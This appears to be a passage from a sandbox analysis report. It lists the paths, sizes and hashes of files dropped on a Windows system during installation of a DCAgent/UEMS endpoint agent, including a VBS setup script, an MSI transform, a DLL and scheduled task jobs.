- SHA512 fac71a6d1a08dacc3830cfb2a440e17f63fb8c9ef35b5da58c6f594661f29c6fc4b2cd80d05398ff349e5df8a052e26033d975b1033d203a20d88a0321acfa4d
- TLSH T1B7F0DC1802B9022FF037DF3A9FC466D3AC6AFC16380796761785070D8936D10CC92838
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A1D627669EFC8CD4F21BCF387D97F9B5_7B944868459E0B8AA3F81222C6396988
- Size 544B
- SHA256 bd68cb1f57d5617001370171d670d32d16031a2ab01b77353799b61b0e517c3e
- MD5 09496758358056af42dd5cd050d40a92
- SHA1 a569ce2fd39574918330dd3af00ea5c044d24f75
- SHA512 12f43c2c0735df35b1775c547ddc5a82907b49859da18438f876da8aff4a657ded44979911fbeed514c2c5e0d1bf884d1a59d9ea1491124fc0a3ee2556b74a3e
- TLSH T1ADF0972C15FA010EF139DAB643D130A29A32F81B3C014D681F96930D6423F46AC51A3E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_50385F8EB1F713E33924A830D7A2A41C
- Size 508B
- SHA256 49d920fc880466aa7c7be84d589aab0c10bda536691b105b08275036b6b24852
- MD5 9bb573a95906fb28b43e89f1cb590c6c
- SHA1 a20f3cba312b0ca5a45177e9e35b2e5d4e5080a2
- SHA512 b1b2a27226fd3397d92013398e9ef93c4718a04d62bf036464677a5402ace1a011a18670ef18d23c73fed1600e4c61df69b071c2ee024a17bea927e48f364647
- TLSH T1CBF05C2864F4904DF272DF3499E132F76B2BFA03240519BD4B9A43081B65F023C46638
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\6,)]~@($^#}9\1^@']+(!.425
- Size 16KB
- SHA256 d82108e6578f4866d7114d6847282c04f0b146809bc66ded3300fe993b42d20f
- MD5 50390455e92fb62cbe6a89dbb61037c2
- SHA1 b02ad9271e5410dfd7edd03d50469997ea54a8b2
- SHA512 f6dac88336489b81361eae5c47caadfb182c55213af51fc7d9fc6132380be9de8a06b598a1027b7c17952657bc0a334ef68a40284452e127290fd13536f4b31e
- SSDEEP 192:fvuYacCCpQIw9l0Hvs0MI1xaTnYe+PjP8srcQqwBjtlAO5gXUE:3uoCCpQIY0Hvs0MqaTnYPL1tqOUO5gz
- TLSH T14A723B8B471930AAFAD7CA75D2B6867BEC30BAD0A76605FF0165C1910E81FE05B3D319
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\6,)]~@($^#}9\1^@']+(!.425.miUI
- Size 16KB
- SHA256 fb27ba66d9b60925875097f31372e60a7da42a61aad2f299bbf04f00ab7049ca
- MD5 4429ece903542863e32ce6088e9560ff
- SHA1 f47c8f38a71c32bc25c3bee8c2acb2ef1f2b7fd0
- SHA512 d0270517916635b0df19579892eaaaa3e43e06a82ae479d96c44b6de9ad61ee0b711da119512bb5b550c82ea1ff9d3b66f37411e9881b5e128e3db9402cba63b
- SSDEEP 384:y7blygX0tYIJDb4CRpZC8zgrgIidn5yQF2Q9HpeHbRvqBp:khP0t5B8oZCYP5Y2FkHVyL
- TLSH T1DE72D0CDF412358CB9CA25115389ED14341580E9BC28F8B689DF4D4AB8D92DDFDA2E62
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt
- Size 1KB
- SHA256 16758703eb4f531eeebd5b6701919572728684c2f6fadfe187246dadc845212a
- MD5 b0dc375060e1c473567c422c21a99f53
- SHA1 4b737aa7359683c9b33702370e06b487693bc03a
- SHA512 450454a98bf5f2db0b7080d9f8bb2c3885662eec4fea6c9aa16ab919d4a31ee6086d0b59d25b9b8eb1a35ce9911b3f245ec084a5273d50a9f6ab66aff1e06543
- TLSH T15A31A6691FE50909F7B397479DF3C0511A33FDE66876CF4C23848219066BD04BD693A6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\DCAgentServerInfo.json
- Size 4KB
- SHA256 1a963e708d11a280fb57d7fb99f9e4a7da3c3522f84f6318c0385a0bc23c1386
- MD5 4d2483c6f426d9e42b07c0d67ad1fdb3
- SHA1 0098be004a09b9ac58a939319205f1851d6013fe
- SHA512 fe1d49e349d22b5ffe9b25a0ff826390cbe0ae13196a3e514ff51e9216e8425d124a480783a4cd9451c6a43867c8b2cf2ebaa93f5c5845010611fd4eeaaa16ff
- SSDEEP 96:vD0mx71VS5ch2cOpXuuQS+XeX1o/72zkdfZO3eJTlYP8pvUtlRm:vA+71Ich2cpSY3/72wPOuJT6ptlRm
- TLSH T1A1A108A7CA033D3A56CBC58CD9696437A8B901144B45A2924EAA3F85FDCF34113FF571
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS
- Size 824B
- SHA256 6053c83865de1fe0f527608a3cff4d1689bfebc4047d81187fb78e8dbbbbb74c
- MD5 97b3de6696541abe6384970ae8c9901c
- SHA1 01db6b9685d45b2dc410f01001ff928c12e34895
- SHA512 6a26d774d5a141cf09bc5b0cb589a1452cc655c6fe5839e3c297089228f8c6fa50c99ed8ff4d5e296ef0fbb72857401d00fc515deecc0d928f10fe595f4d8527
- TLSH T1E5018901B43DC7328AB0239150022DDDDEA3431A240852E6B99D8CFECF9C4389A35211
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst
- Size 20KB
- SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
- MD5 0273976d2ecf588a5514b0f5069968e5
- SHA1 b906399f51bffff670d20c5f5d66800a78b1e638
- SHA512 da06fe4cf771c3a4840ced5b95a421cbec98023766d0d382b44798fefdf04f794119d3c17eb2165f35df1745bf3ffad600af10b7f89cce24f788a57f6e67a809
- SSDEEP 24:J+U2p5gxBuP2xjl/Zd8pJPSgHiHJoxIzxhK:IU2p4gI7dyJaz
- TLSH T109927202FBA1EA16D0490A358E96C3DC0B36FC81DD42836B35E6776FBD721C54D62AA0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\INF\c_processor.PNF
- Size 5KB
- SHA256 d906a27ed4554c9e83312df1096271d8b896587cd8017c8653165d994d4ac97b
- MD5 b41845aa834611cf3ec5ccf01a72dbcf
- SHA1 24e3ab36f8852ecf815f2fe791e5f01d13db07bf
- SHA512 16d34ccf51a26d914bf7cc332fb6f4aa17a0cc133e9e8e563993ae476be248b26e1b10732e51af702698d2c938abfc5a5678f87a354c59f835fe5602c75e78b0
- SSDEEP 96:toMRidAiiSId1OFFt8aF2yUc8VzE8S0RupQ:Bif58ErUc8REBVQ
- TLSH T1C1B17956B3E99A54F17B9E707DF850E645B5BC425C01CA5F3204731D1C71A88EBB071B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\INF\c_volume.PNF
- Size 4KB
- SHA256 cf56f26c1cd60bfbbbee51183029b8edb811a5bdbc5f8c5609fd22329a6013fd
- MD5 370067af8d4187180fd4ddbcbde2e221
- SHA1 d77726d8c111a017590d00f71f550c134d61f68c
- SHA512 a4c2a2ad4ea6563ff8f4c2d1b4874aee8fc7cb426ffb4424e0a59f9e72382cfc22da84ac07add4fed838276687a96546d9581bc95eb9c0aeef1f422b0aa52885
- SSDEEP 48:FQ9AgrNDtzyL3G5mIMRZgAeRYBeaIDbhFRbgcVMRTplqEEt45a/U:FQ93rhtzyWAmYruhFNgl3OKP
- TLSH T12FA14445B7E98E24F27A9935BCF0A0E64166BC524C15DA5F3388730D1C73794E7B071A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIBDA4.tmp
- Size 429KB
- SHA256 f38732fb0f04076ce302b6b816212e5fca72d0d787f50cbb9ebe1ee7c474e6aa
- MD5 4247dfba3a3e297fc25d13f4a5168dd1
- SHA1 18525c53e159aefec078a3279d8e5c4c84254543
- SHA512 2605799de42f8d8e02abfb2d99fad7598e8394d772d0997edf4cb2260206571570ca81559601373160999b27d2caf4e74bc26b016cdda7780b5f7786e7d109aa
- SSDEEP 12288:cpqSpvhUEaxBOJBesypR2wd/8Vysp7NTb:cJhUZxBOWsc1YFNP
- TLSH T19494BF1135C9C031E1AE5170ADB5AF76AE7DAD200F2858CBD3C84D3B1E645C2AB76F1A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\SysWOW64\dcagentlibxml2.dll
- Size 2.0MB
- SHA256 04fc8d4036e0d118f24298b8f10b6ad06cc454f193138e1e7d8ed8ed0730c673
- MD5 f5ea1b7acabf46eeb4ad69d1d5cbe71d
- SHA1 eaf27d91a674fac8230fd549632041688305377d
- SHA512 4d7a5a23a6fcdf1c5df4d5ab33faacbc7422f4abf1ae89142079d8cd4f227ece207be0a43676c4034917fa1dec5c921a5f9cf6e6f27d20395991c6cf23911a87
- SSDEEP 49152:I1fOkYtuKEoTHy9uizLBAUZLY6tPT8FGaXQa:SfOk4rwLBAUZLva
- TLSH T103A5BF04B980C532F4EB01F0CAFE5BFB982DCD26672554E767E578D889301E162BEB19
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\rundll32.exe
- Size 88KB
- SHA256 4b84dc6750937eb47b19cde0d23debd4d2f2211300171b36d13ef5ad11dd60f9
- MD5 025b13bf5652712d9b596e6766a9c386
- SHA1 def4011b5536983285472ba75c22c6a2410edf6a
- SHA512 f9983b897ef7ecbeb6cbfe599b24f5aa8651058d2e3313534a2a5e076f93fc3354784c05260b42fa828e48a55b5c005bfaa9db4e387351bf2e665ea0245c3a1e
- SSDEEP 1536:7i3jG+UJuhM2HLJPl1M8CFYNMjYrZ3bXWgmqR9jR:KkuB5GFYNME3C9KR
- TLSH T11993185E72A830E5E9369139C4A24605E3B1B03563135BFF06E0C2BD5F23AE5AD39F91
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Tasks\DCAgentUpdater.job
- Size 448B
- SHA256 f6c304da343e085f479978ee2a666a9a2b9d6ea09e062825bf10090d99c76ca8
- MD5 9ece38fc821aaf6c95896233e8963058
- SHA1 a56b5e5de0fcfd34189e459f1d2ed240fda05df2
- SHA512 ac365571599f76da08819bc000bac2d41504250d60054b472803654cf123117de7be61f697b899072b3d5642a4ece9c6bf2aeb465db7fe86015057edc5c1034d
- TLSH T178F04F06ABD1000DF2739BB54EF246506772FD207972C22E60B8415E4D66F54DA2177B
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\Tasks\UEMSLogCollector.job
- Size 450B
- SHA256 1ece18b05054ab5fdb9960599514c03c8879a02896379dec9c0ffc1563290c79
- MD5 6da6e7977f1554a8b376d3954182103d
- SHA1 5586e0d4b3a72f3af260c4c1482e01704259f668
- SHA512 270624fc7c09a3a425aedd85362ce7ab3581b453fb6aebf163498d4fcd93d0966168ead2a40b515020e8cb44da85189240500cd1ec65195a0dab9ca3ca720b18
- TLSH T1CBF01A01EBE5400DF2726BF15FF649615772FD203A72C21E24B4424E9C66B54CE61737
- MD5 SHA1 SHA512 TLSH